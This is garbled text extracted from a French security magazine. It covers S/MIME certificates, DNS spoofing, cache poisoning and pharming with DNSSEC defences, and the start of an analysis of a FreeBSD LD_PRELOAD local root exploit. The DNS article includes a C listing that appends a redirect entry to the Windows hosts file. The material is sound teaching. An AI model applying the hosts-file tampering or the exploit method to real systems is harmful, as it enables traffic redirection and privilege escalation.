Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

